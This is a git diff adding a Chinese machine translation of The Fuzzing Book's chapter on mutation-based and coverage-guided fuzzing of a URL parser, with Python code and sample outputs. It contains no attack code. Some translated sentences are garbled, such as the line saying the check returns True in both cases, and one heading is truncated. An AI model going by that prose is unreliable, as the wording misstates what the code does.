diff --git a/new/fuzzing-book-zh/1.md b/new/fuzzing-book-zh/1.md
new file mode 100644
index 0000000000000000000000000000000000000000..99225c40938b6fbbe9d225bec3b58d1481a8c8b1
--- /dev/null
+++ b/new/fuzzing-book-zh/1.md
@@ -0,0 +1,3 @@
+# 生成软件测试
+
+来源： [https://www.fuzzingbook.org/html/00_Table_of_Contents.html](https://www.fuzzingbook.org/html/00_Table_of_Contents.html)
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/10.md b/new/fuzzing-book-zh/10.md
new file mode 100644
index 0000000000000000000000000000000000000000..e1a7f948bc9834e43474627407c274507a7d3cd4
--- /dev/null
+++ b/new/fuzzing-book-zh/10.md
@@ -0,0 +1,1210 @@
+# 基于变异的模糊化
+
+> 原文： [https://www.fuzzingbook.org/html/MutationFuzzer.html](https://www.fuzzingbook.org/html/MutationFuzzer.html)
+
+大多数[随机生成的输入](Fuzzer.html)在语法上都是*无效*，因此很快就被处理程序拒绝。 要行使输入处理之外的功能，我们必须增加获得有效输入的机会。 一种这样的方法就是所谓的*突变模糊测试*-也就是说，对现有输入进行小的更改，这些更改可能仍会保持输入有效，但会行使新的行为。 我们将展示如何创建此类突变，以及如何使用流行的AFL模糊器的中心概念来引导它们走向尚未发现的代码。
+
+**前提条件**
+
+*   您应该知道基本的模糊测试是如何工作的。 例如，在[“模糊处理”](Fuzzer.html) 一章中。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.MutationFuzzer](MutationFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章介绍`MutationFuzzer`类，该类采用*种子输入*的列表，然后将其突变：
+
+```py
+>>> seed_input = "http://www.google.com/search?q=fuzzing"
+>>> mutation_fuzzer = MutationFuzzer(seed=[seed_input])
+>>> [mutation_fuzzer.fuzz() for i in range(10)]
+['http://www.google.com/search?q=fuzzing',
+ 'http://www.g=oNogl.om/search?q=fuzzing/',
+ 'RttpX://w)ww.goo(gle.comq/sarc(q=fuzzng',
+ 'hdt8p://"wWw.goole.com/seDarb`*?q=fuzzing',
+ 'httop://www.CooglGe.om/s$arch?q=fuzzingY',
+ 'http://wwlw.google.c"om/secrch?yq=fuzzin',
+ 'hup://www.google.comC/search?q=fuzzing',
+ 'http://w7w.google.com/search?q=ufuzgzing',
+ 'http://www,google.com/sear4ch?.q=fuzzing',
+ 'http://w&ww.google.cKom/search7q=fuzzing']
+
+```
+
+`MutationCoverageFuzzer`保持输入的*种群*，然后对其进行演化以最大化覆盖范围。
+
+```py
+>>> mutation_fuzzer = MutationCoverageFuzzer(seed=[seed_input])
+>>> mutation_fuzzer.runs(http_runner, trials=10000)
+>>> mutation_fuzzer.population[:5]
+['http://www.google.com/search?q=fuzzing',
+ 'htTp://www.googld.cqom/searchq=fuzzIng',
+ 'htTp://www.gloogld.qom/|searchq=fuzzng',
+ 'htTp://www.googld.cqomo0searchq=fuzzIng',
+ 'htTp://www*goegld.cqoe/sa7#hq=fuzIng']
+
+```
+
+## 带有突变的
+
+2013年11月，发布了 [American Fuzzy Lop](http://lcamtuf.coredump.cx/afl/) （AFL）的第一版。 从那时起，AFL已成为最成功的模糊测试工具之一，并具有许多特色，例如 [AFLFast](https://github.com/mboehme/aflfast) ， [AFLGo](https://github.com/aflgo/aflgo) 和 [AFLSmart](https://github.com/aflsmart/aflsmart) （在 这本书）。 AFL使模糊测试成为自动漏洞检测的流行选择。 它是第一个证明可以在许多对安全性要求很高的实际应用程序中大规模自动检测漏洞的工具。
+
+![American Fuzzy Lop Command Line User Interface](img/9b2f0f8d40bfc500d25dd91bdf3f77d3.jpg)
+
+<center>**Figure 1.** American Fuzzy Lop Command Line User Interface</center>
+
+在本章中，我们将介绍突变模糊测试的基础。 接下来的下一章将进一步说明如何将模糊测试引导到特定的代码目标。
+
+## 模糊化URL解析器
+
+许多程序期望它们的输入以非常特定的格式输入，然后才能实际处理它们。 例如，考虑一个接受URL（Web地址）的程序。 该URL必须采用有效格式（即URL格式），以便程序能够对其进行处理。 当使用随机输入进行模糊测试时，我们实际产生有效URL的机会是多少？
+
+为了更深入地研究这个问题，让我们探索一下URL的组成。 URL由许多元素组成：
+
+```py
+scheme://netloc/path?query#fragment 
+```
+
+哪里
+
+*   `scheme`是要使用的协议，包括`http`，`https`，`ftp`，`file` ...
+*   `netloc`是要连接的主机的名称，例如`www.google.com`
+*   `path`是该主机上的路径，例如`search`
+*   `query`是键/值对的列表，例如`q=fuzzing`
+*   `fragment`是所检索文档中某个位置的标记，例如`#result`
+
+在Python中，我们可以使用`urlparse()`函数来解析URL并将其分解为各个部分。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+try:
+    from [urlparse](https://docs.python.org/3/library/urlparse.html) import urlparse      # Python 2
+except ImportError:
+    from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urlparse  # Python 3
+
+urlparse("http://www.google.com/search?q=fuzzing")
+
+```
+
+```py
+ParseResult(scheme='http', netloc='www.google.com', path='/search', params='', query='q=fuzzing', fragment='')
+
+```
+
+我们将看到结果如何将URL的各个部分编码为不同的属性。
+
+现在让我们假设我们有一个使用URL作为输入的程序。 为简化起见，我们不会让它做太多事情。 我们只是让它检查传递的URL的有效性。 如果URL有效，则返回True；否则返回True。 否则，将引发异常。
+
+```py
+def http_program(url):
+    supported_schemes = ["http", "https"]
+    result = urlparse(url)
+    if result.scheme not in supported_schemes:
+        raise ValueError("Scheme must be one of " + repr(supported_schemes))
+    if result.netloc == '':
+        raise ValueError("Host must be non-empty")
+
+    # Do something with the URL
+    return True
+
+```
+
+现在让我们开始模糊`http_program()`。 为了模糊起见，我们使用了所有可打印的ASCII字符，包括`:`，`/`和小写字母。
+
+```py
+from [Fuzzer](Fuzzer.html) import fuzzer
+
+```
+
+```py
+fuzzer(char_start=32, char_range=96)
+
+```
+
+```py
+'"N&+slk%h\x7fyp5o\'@[3(rW*M5W]tMFPU4\\P@tz%[X?uo\\1?b4T;1bDeYtHx #UJ5w}pMmPodJM,_'
+
+```
+
+让我们尝试对1000个随机输入进行模糊测试，看看我们是否取得了一些成功。
+
+```py
+for i in range(1000):
+    try:
+        url = fuzzer()
+        result = http_program(url)
+        print("Success!")
+    except ValueError:
+        pass
+
+```
+
+实际获得有效URL的机会是什么？ 我们需要以`"http://"`或`"https://"`开头的字符串。 让我们先来看`"http://"`案例。 这是我们需要开始的七个非常具体的字符。 随机产生这七个字符（字符范围为96个不同字符）的机会为$ 1：96 ^ 7 $，或者
+
+```py
+96 ** 7
+
+```
+
+```py
+75144747810816
+
+```
+
+产生`"https://"`前缀的几率甚至更糟，为$ 1：96 ^ 8 $：
+
+```py
+96 ** 8
+
+```
+
+```py
+7213895789838336
+
+```
+
+这给了我们完全的机会
+
+```py
+likelihood = 1 / (96 ** 7) + 1 / (96 ** 8)
+likelihood
+
+```
+
+```py
+1.344627131107667e-14
+
+```
+
+这是我们产生有效的URL方案所需的运行次数（平均）：
+
+```py
+1 / likelihood
+
+```
+
+```py
+74370059689055.02
+
+```
+
+让我们测量一下`http_program()`的运行时间：
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+trials = 1000
+with Timer() as t:
+    for i in range(trials):
+        try:
+            url = fuzzer()
+            result = http_program(url)
+            print("Success!")
+        except ValueError:
+            pass
+
+duration_per_run_in_seconds = t.elapsed_time() / trials
+duration_per_run_in_seconds
+
+```
+
+```py
+5.87425309995524e-05
+
+```
+
+那非常快，不是吗？ 不幸的是，我们有很多需要解决的问题。
+
+```py
+seconds_until_success = duration_per_run_in_seconds * (1 / likelihood)
+seconds_until_success
+
+```
+
+```py
+4368685536.722877
+
+```
+
+转化为
+
+```py
+hours_until_success = seconds_until_success / 3600
+days_until_success = hours_until_success / 24
+years_until_success = days_until_success / 365.25
+years_until_success
+
+```
+
+```py
+138.4352909195527
+
+```
+
+即使我们并行处理很多事情，我们仍需要等待数月至数年。 这是为了使*成功运行一次*，这将使`http_program()`更加深入。
+
+基本的模糊测试会很好地进行测试`urlparse()`，如果此解析函数中有错误，则很有可能将其发现。 但是，只要我们无法产生有效的输入，我们就无法达到任何更深层次的功能。
+
+## 突变输入
+
+从头开始生成随机字符串的替代方法是从给定的*有效*输入开始，然后随后*对其进行*变异。 在此上下文中，*突变*是一种简单的字符串操作-例如，插入（随机）字符，删除字符或在字符表示中翻转一位。 这被称为*突变模糊测试*-与之前讨论的*世代模糊测试*技术相反。
+
+以下是一些可以帮助您入门的变体：
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+def delete_random_character(s):
+    """Returns s with a random character deleted"""
+    if s == "":
+        return s
+
+    pos = random.randint(0, len(s) - 1)
+    # print("Deleting", repr(s[pos]), "at", pos)
+    return s[:pos] + s[pos + 1:]
+
+```
+
+```py
+seed_input = "A quick brown fox"
+for i in range(10):
+    x = delete_random_character(seed_input)
+    print(repr(x))
+
+```
+
+```py
+'A uick brown fox'
+'A quic brown fox'
+'A quick brown fo'
+'A quic brown fox'
+'A quick bown fox'
+'A quick bown fox'
+'A quick brown fx'
+'A quick brown ox'
+'A quick brow fox'
+'A quic brown fox'
+
+```
+
+```py
+def insert_random_character(s):
+    """Returns s with a random character inserted"""
+    pos = random.randint(0, len(s))
+    random_character = chr(random.randrange(32, 127))
+    # print("Inserting", repr(random_character), "at", pos)
+    return s[:pos] + random_character + s[pos:]
+
+```
+
+```py
+for i in range(10):
+    print(repr(insert_random_character(seed_input)))
+
+```
+
+```py
+'A quick brvown fox'
+'A quwick brown fox'
+'A qBuick brown fox'
+'A quick broSwn fox'
+'A quick brown fvox'
+'A quick brown 3fox'
+'A quick brNown fox'
+'A quick brow4n fox'
+'A quick brown fox8'
+'A equick brown fox'
+
+```
+
+```py
+def flip_random_character(s):
+    """Returns s with a random bit flipped in a random position"""
+    if s == "":
+        return s
+
+    pos = random.randint(0, len(s) - 1)
+    c = s[pos]
+    bit = 1 << random.randint(0, 6)
+    new_c = chr(ord(c) ^ bit)
+    # print("Flipping", bit, "in", repr(c) + ", giving", repr(new_c))
+    return s[:pos] + new_c + s[pos + 1:]
+
+```
+
+```py
+for i in range(10):
+    print(repr(flip_random_character(seed_input)))
+
+```
+
+```py
+'A quick bRown fox'
+'A quici brown fox'
+'A"quick brown fox'
+'A quick brown$fox'
+'A quick bpown fox'
+'A quick brown!fox'
+'A 1uick brown fox'
+'@ quick brown fox'
+'A quic+ brown fox'
+'A quick bsown fox'
+
+```
+
+现在让我们创建一个随机变异器，它随机选择要应用的变异：
+
+```py
+def mutate(s):
+    """Return s with a random mutation applied"""
+    mutators = [
+        delete_random_character,
+        insert_random_character,
+        flip_random_character
+    ]
+    mutator = random.choice(mutators)
+    # print(mutator)
+    return mutator(s)
+
+```
+
+```py
+for i in range(10):
+    print(repr(mutate("A quick brown fox")))
+
+```
+
+```py
+'A qzuick brown fox'
+' quick brown fox'
+'A quick Brown fox'
+'A qMuick brown fox'
+'A qu_ick brown fox'
+'A quick bXrown fox'
+'A quick brown fx'
+'A quick!brown fox'
+'A! quick brown fox'
+'A quick brownfox'
+
+```
+
+现在的想法是*如果*我们有一些有效的输入作为开始，那么我们可以通过应用上述突变之一来创建更多输入候选。 要了解其工作原理，让我们回到URL。
+
+## 突变网址
+
+现在让我们回到我们的URL解析问题。 让我们创建一个函数`is_valid_url()`，该函数检查`http_program()`是否接受输入。
+
+```py
+def is_valid_url(url):
+    try:
+        result = http_program(url)
+        return True
+    except ValueError:
+        return False
+
+```
+
+```py
+assert is_valid_url("http://www.google.com/search?q=fuzzing")
+assert not is_valid_url("xyzzy")
+
+```
+
+现在让我们在给定的URL上应用`mutate()`函数，并查看我们获得了多少有效输入。
+
+```py
+seed_input = "http://www.google.com/search?q=fuzzing"
+valid_inputs = set()
+trials = 20
+
+for i in range(trials):
+    inp = mutate(seed_input)
+    if is_valid_url(inp):
+        valid_inputs.add(inp)
+
+```
+
+现在我们可以观察到，通过*突变*原始输入，我们得到了很大一部分有效输入：
+
+```py
+len(valid_inputs) / trials
+
+```
+
+```py
+0.8
+
+```
+
+通过突变`http:`样本种子输入来产生`https:`前缀的几率是多少？ 我们必须在正确的位置（$ 1：l $）中插入（$ 1：3 $）右字符`'s'`（$ 1：96 $），其中$ l $是种子输入的长度。 这意味着平均而言，我们需要进行多次运行：
+
+```py
+trials = 3 * 96 * len(seed_input)
+trials
+
+```
+
+```py
+10944
+
+```
+
+我们实际上可以负担得起。 我们试试吧：
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+trials = 0
+with Timer() as t:
+    while True:
+        trials += 1
+        inp = mutate(seed_input)
+        if inp.startswith("https://"):
+            print(
+                "Success after",
+                trials,
+                "trials in",
+                t.elapsed_time(),
+                "seconds")
+            break
+
+```
+
+```py
+Success after 3656 trials in 0.010670263999600138 seconds
+
+```
+
+当然，如果我们想获得一个`"ftp://"`前缀，我们将需要更多的突变和更多的运行–但是，最重要的是，我们需要应用*多个*突变。
+
+## 多个突变
+
+到目前为止，我们仅对示例字符串应用了一个突变。 但是，我们也可以应用*多个*突变，以进一步对其进行更改。 例如，如果我们对样本字符串应用20个突变，会发生什么情况？
+
+```py
+seed_input = "http://www.google.com/search?q=fuzzing"
+mutations = 50
+
+```
+
+```py
+inp = seed_input
+for i in range(mutations):
+    if i % 5 == 0:
+        print(i, "mutations:", repr(inp))
+    inp = mutate(inp)
+
+```
+
+```py
+0 mutations: 'http://www.google.com/search?q=fuzzing'
+5 mutations: 'http:/L/www.googlej.com/seaRchq=fuz:ing'
+10 mutations: 'http:/L/www.ggoWglej.com/seaRchqfu:in'
+15 mutations: 'http:/L/wwggoWglej.com/seaR3hqf,u:in'
+20 mutations: 'htt://wwggoVgle"j.som/seaR3hqf,u:in'
+25 mutations: 'htt://fwggoVgle"j.som/eaRd3hqf,u^:in'
+30 mutations: 'htv://>fwggoVgle"j.qom/ea0Rd3hqf,u^:i'
+35 mutations: 'htv://>fwggozVle"Bj.qom/eapRd[3hqf,u^:i'
+40 mutations: 'htv://>fwgeo6zTle"Bj.\'qom/eapRd[3hqf,tu^:i'
+45 mutations: 'htv://>fwgeo]6zTle"BjM.\'qom/eaR[3hqf,tu^:i'
+
+```
+
+如您所见，原始种子输入几乎无法识别。 通过一次又一次地改变输入，我们得到了更高的输入多样性。
+
+为了在单个程序包中实现这样的多个突变，让我们介绍一个`MutationFuzzer`类。 它需要种子（字符串列表）以及最小和最大数量的突变。
+
+```py
+from [Fuzzer](Fuzzer.html) import Fuzzer
+
+```
+
+```py
+class MutationFuzzer(Fuzzer):
+    def __init__(self, seed, min_mutations=2, max_mutations=10):
+        self.seed = seed
+        self.min_mutations = min_mutations
+        self.max_mutations = max_mutations
+        self.reset()
+
+    def reset(self):
+        self.population = self.seed
+        self.seed_index = 0
+
+```
+
+接下来，让我们通过添加更多方法来进一步开发`MutationFuzzer`。 Python语言要求我们使用所有方法将整个方法定义为单个连续单元； 但是，我们想介绍一种方法。 为了避免这个问题，我们使用了一种特殊的技巧：每当我们想向某个类`C`引入新方法时，我们都会使用
+
+```py
+class C(C):
+    def new_method(self, args):
+        pass
+
+```
+
+这似乎将`C`定义为其自身的子类，这没有任何意义-但实际上，它引入了一个新的`C`类作为*旧* `C`类的子类，然后进行了阴影处理 旧的`C`定义。 这使我们得到的是`C`类，并以`new_method()`作为方法，这正是我们想要的。 （不过，较早定义的`C`对象将保留较早的`C`定义，因此必须重新构建。）
+
+使用此技巧，我们现在可以添加一个`mutate()`方法，该方法实际调用上述`mutate()`函数。 当我们以后要扩展`MutationFuzzer`时，将`mutate()`作为方法很有用。
+
+```py
+class MutationFuzzer(MutationFuzzer):
+    def mutate(self, inp):
+        return mutate(inp)
+
+```
+
+让我们回到我们的策略，在我们的人群中最大化覆盖率。 首先，让我们创建一个方法`create_candidate()`，该方法从当前种群（`self.population`）中随机选择一些输入，然后在`min_mutations`和`max_mutations`突变步骤之间应用，返回最终结果：
+
+```py
+class MutationFuzzer(MutationFuzzer):
+    def create_candidate(self):
+        candidate = random.choice(self.population)
+        trials = random.randint(self.min_mutations, self.max_mutations)
+        for i in range(trials):
+            candidate = self.mutate(candidate)
+        return candidate
+
+```
+
+`fuzz()`方法设置为首先采摘种子； 当这些消失后，我们进行变异：
+
+```py
+class MutationFuzzer(MutationFuzzer):
+    def fuzz(self):
+        if self.seed_index < len(self.seed):
+            # Still seeding
+            self.inp = self.seed[self.seed_index]
+            self.seed_index += 1
+        else:
+            # Mutating
+            self.inp = self.create_candidate()
+        return self.inp
+
+```
+
+```py
+seed_input = "http://www.google.com/search?q=fuzzing"
+mutation_fuzzer = MutationFuzzer(seed=[seed_input])
+mutation_fuzzer.fuzz()
+
+```
+
+```py
+'http://www.google.com/search?q=fuzzing'
+
+```
+
+```py
+mutation_fuzzer.fuzz()
+
+```
+
+```py
+'http://www.gogl9ecom/earch?qfuzzing'
+
+```
+
+```py
+mutation_fuzzer.fuzz()
+
+```
+
+```py
+'htotq:/www.googleom/yseach?q=fzzijg'
+
+```
+
+每次`fuzz()`的新调用，我们都会得到另一个应用了多个突变的变体。 但是，输入的多样性较高，会增加输入无效的风险。 成功的关键在于*指导*这些突变的想法，也就是说*保留那些特别有价值的突变。*
+
+## 覆盖率指导
+
+为了涵盖尽可能多的功能，可以依赖*指定的*或*实现的*功能，如[“覆盖”](Coverage.html) 一章中所述。 现在，我们不会假设程序行为是规范的（尽管*肯定是*会很好！）。 但是，我们*将假定*存在，并且我们可以利用其结构来指导测试的产生。
+
+由于测试总是执行手头的程序，因此人们总是可以收集有关其执行的信息-最少是决定测试是否通过所需的信息。 由于也经常测量覆盖率以确定测试质量，因此我们还假设我们可以检索测试运行的覆盖率。 问题是：*我们如何利用覆盖率来指导测试的产生？*
+
+一种特别成功的想法是在名为 [American Fuzzy lop](http://lcamtuf.coredump.cx/afl/) 或简称为 *AFL* 的流行模糊器中实现的。 就像上面的示例一样，AFL会开发成功的测试用例-但是对于AFL，``成功''表示*通过程序执行*找到了新的路径。 这样，AFL可以继续变异到目前为止已经找到新路径的输入。 如果输入找到另一条路径，则也会保留该路径。
+
+让我们制定这样的策略。 我们首先介绍一个`Runner`类，该类捕获给定功能的覆盖范围。 首先，一个`FunctionRunner`类：
+
+```py
+from [Fuzzer](Fuzzer.html) import Runner
+
+```
+
+```py
+class FunctionRunner(Runner):
+    def __init__(self, function):
+        """Initialize.  `function` is a function to be executed"""
+        self.function = function
+
+    def run_function(self, inp):
+        return self.function(inp)
+
+    def run(self, inp):
+        try:
+            result = self.run_function(inp)
+            outcome = self.PASS
+        except Exception:
+            result = None
+            outcome = self.FAIL
+
+        return result, outcome
+
+```
+
+```py
+http_runner = FunctionRunner(http_program)
+http_runner.run("https://foo.bar/")
+
+```
+
+```py
+(True, 'PASS')
+
+```
+
+现在，我们可以扩展`FunctionRunner`类，以便它也可以测量覆盖范围。 调用`run()`之后，`coverage()`方法返回上次运行时获得的覆盖率。
+
+```py
+from [Coverage](Coverage.html) import Coverage, population_coverage
+
+```
+
+```py
+class FunctionCoverageRunner(FunctionRunner):
+    def run_function(self, inp):
+        with Coverage() as cov:
+            try:
+                result = super().run_function(inp)
+            except Exception as exc:
+                self._coverage = cov.coverage()
+                raise exc
+
+        self._coverage = cov.coverage()
+        return result
+
+    def coverage(self):
+        return self._coverage
+
+```
+
+```py
+http_runner = FunctionCoverageRunner(http_program)
+http_runner.run("https://foo.bar/")
+
+```
+
+```py
+(True, 'PASS')
+
+```
+
+以下是前五个位置：
+
+```py
+print(list(http_runner.coverage())[:5])
+
+```
+
+```py
+[('urlparse', 375), ('__exit__', 25), ('_coerce_args', 115), ('http_program', 10), ('http_program', 3)]
+
+```
+
+现在是主要班级。 我们维持人口和已经实现的一系列覆盖率（`coverages_seen`）。 `fuzz()`辅助函数接受输入并在其上运行给定的`function()`。 如果其覆盖范围是新的（即`coverages_seen`中没有），则将输入添加到`population`并将覆盖范围添加到`coverages_seen`。
+
+```py
+class MutationCoverageFuzzer(MutationFuzzer):
+    def reset(self):
+        super().reset()
+        self.coverages_seen = set()
+        # Now empty; we fill this with seed in the first fuzz runs
+        self.population = []
+
+    def run(self, runner):
+        """Run function(inp) while tracking coverage.
+ If we reach new coverage,
+ add inp to population and its coverage to population_coverage
+ """
+        result, outcome = super().run(runner)
+        new_coverage = frozenset(runner.coverage())
+        if outcome == Runner.PASS and new_coverage not in self.coverages_seen:
+            # We have new coverage
+            self.population.append(self.inp)
+            self.coverages_seen.add(new_coverage)
+
+        return result
+
+```
+
+现在让我们使用它：
+
+```py
+seed_input = "http://www.google.com/search?q=fuzzing"
+mutation_fuzzer = MutationCoverageFuzzer(seed=[seed_input])
+mutation_fuzzer.runs(http_runner, trials=10000)
+mutation_fuzzer.population
+
+```
+
+```py
+['http://www.google.com/search?q=fuzzing',
+ 'http://www.goog.com/search;q=fuzzilng',
+ 'http://ww.6goog\x0eoomosearch;/q=f}zzilng',
+ 'http://uv.Lboo.comoseakrch;q=fuzilng',
+ 'http://ww.6goog\x0eo/mosarch;/q=f}z{il~g',
+ 'Http://www.g/ogle.com/earchq=fuzzing',
+ 'http://www.goog.com/lsearkh;q=fuzzilng',
+ 'http://www.Ifnole.com/searchq=fzzing',
+ 'Http://ww.g/ogle.com/earchq=furzing',
+ 'Http://wwQw.g/oGle.ug/m/ear#hq=uzzGing',
+ 'Http://ww.g/ogle.cnom?earchq=fZrzing',
+ 'http://www.goog.co#m/lsearkh;q=fuzilng',
+ 'Http://wwQw.g/oGle.ug/m/ear#hqg=uzzGvi~g',
+ 'http://RuV.Lboo.comose`krch;q=ftzil~g',
+ "http://www.googco#_mx/lsa'rkhq=fuzilng",
+ 'htTp://w.6goog\x0eo/mosarch;/q=f}z{il~g',
+ 'http://www.google.com/sea[arch?q=fuzzGing',
+ 'Http://wwQ?w.g/oGle6.ug/m/ekar#hq=uzzGing',
+ 'httP://uv.Lboo.comoseakrch;q=fzilng',
+ 'http://ww.6goog\x0eo/mosarch;/?q=fz{il~g',
+ 'htTp://w.6eoog\x0eo/mosarch;?p=f}z{il~w',
+ 'http://www.goog\x0eom/sea7rch;#q=fuezzi-mog',
+ 'httP://uv.L"Noo.omosekrch;q=fziln',
+ 'htTp://w.6go7opg\x0eo/mosayrch;/ #q=b}z{il~g',
+ 'Http://wwQ?w.g/%oGle6.ug//ekar!hq=uzzGinc',
+ 'htTp://wS.6eoog\x0e/msarcah;?p=f}z{i~7,',
+ 'http://www.goog\x0eo}/qa5ch;Y#q=fuezzi-mog',
+ 'http://ww.W=6goxog\x0eo/mosarXch;+?q=fz{il~g',
+ 'htTp://w.6Foo\x0en/mosarch;q=fK}z{il~g',
+ 'htTp://7.6Gogo\x0e/iowarcj;q=fK}z{Il~gX',
+ 'http://ww.62gogo/m%/saRch;/q=fl}ziil~g',
+ 'http://www.go?og\x0eo}/qac`P;Y#eq=fuezzik-mog',
+ 'http://www.go?g\x0ek}/qa`P;Y#q=fuezzik-moga',
+ 'htTp://Hw.6g7`g\x0eo/mosayrc)h;/K #q=j}zyil~g',
+ 'htTp://Hw.6g`g\x0eo/moseyrc)h;OK(#q=j}zyil~g',
+ 'http://*ww.W=goxog\x0e/2RmosarXch;+?Cq=f{i2l~g',
+ 'htTp://.6,gokg\x0eo~/mosrch;/?f\\}z{il~g',
+ 'htTp://Hw.6g`g\x0eo/}oseyrc)h;OK(#p=j}zyil~g',
+ 'htTp://w.A6go7evopg\nFo/mosayvch;?R#q=b}z{il~g',
+ 'htTp://w.Ago7e%vopgV\nzFo/oayv=ch;?R6#q=b}z{il~g',
+ 'Http://wwQ?w.g/oGle6.ug/m/ka2#hq9=uzzGing',
+ 'http://wHw.67`g\x0eo/mosaygrc)h;/K #q=j}zyil~g',
+ 'htTp://w.g&o\x0eo/mocarh;/q=b}Mx{iBl~g',
+ 'http://w.Ago7e%vopoV\nzIFo/oayv=ch;?R6#q=b}z{il~+g=',
+ 'htTp://.6O,gokg\x0eo~/mTmsrc;h;/?f\\}Ez{il~g',
+ 'http://ww%.6goog\x0eo/mosach;/?q=fz{il~g',
+ 'http://wHw.67`g\x0eo/mosaygc)h;/K #q#`=j}zyilg']
+
+```
+
+成功！ 在我们的总体中，*的每个输入*现在都是有效的，并且覆盖范围不同，来自方案，路径，查询和片段的各种组合。
+
+```py
+all_coverage, cumulative_coverage = population_coverage(
+    mutation_fuzzer.population, http_program)
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+plt.plot(cumulative_coverage)
+plt.title('Coverage of urlparse() with random inputs')
+plt.xlabel('# of inputs')
+plt.ylabel('lines covered');
+
+```
+
+![](data:image/png;base64,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